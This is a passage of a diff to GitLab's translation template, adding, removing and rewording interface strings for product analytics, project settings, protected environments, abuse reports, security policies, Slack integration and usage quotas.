+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32299,6 +32866,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32518,6 +33097,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32593,9 +33175,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32767,9 +33346,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32920,10 +33496,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33055,6 +33631,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33679,6 +34258,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33691,6 +34288,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33727,6 +34327,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34459,6 +35062,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34726,9 +35332,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34786,9 +35389,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34825,6 +35425,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35785,7 +36412,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36160,7 +36787,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36367,6 +36994,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36391,9 +37024,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36409,6 +37039,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36418,12 +37051,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36616,9 +37273,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36997,6 +37651,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37018,6 +37681,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37297,7 +37963,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37360,10 +38026,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37378,6 +38044,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37447,9 +38116,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37669,9 +38335,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37699,6 +38362,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37729,9 +38395,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37750,9 +38413,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38533,6 +39193,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38749,9 +39412,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38878,9 +39538,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38911,6 +39568,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38938,10 +39601,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38953,22 +39616,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39466,6 +40123,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39661,15 +40324,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40159,18 +40822,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40387,6 +41068,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40405,7 +41089,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40426,9 +41110,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40918,15 +41599,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40957,6 +41629,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41227,9 +41914,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41485,6 +42169,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41635,6 +42322,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41839,6 +42529,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42187,6 +42880,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42289,21 +42985,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42526,6 +43228,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42601,9 +43306,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42808,7 +43510,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43252,6 +43954,12 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43468,7 +44176,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43765,24 +44473,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43888,15 +44584,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44068,6 +44761,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44110,6 +44806,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44290,6 +44989,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44329,6 +45031,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44398,6 +45103,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44560,15 +45268,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44599,15 +45301,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44665,24 +45361,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44710,9 +45394,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44731,15 +45412,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44896,6 +45571,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
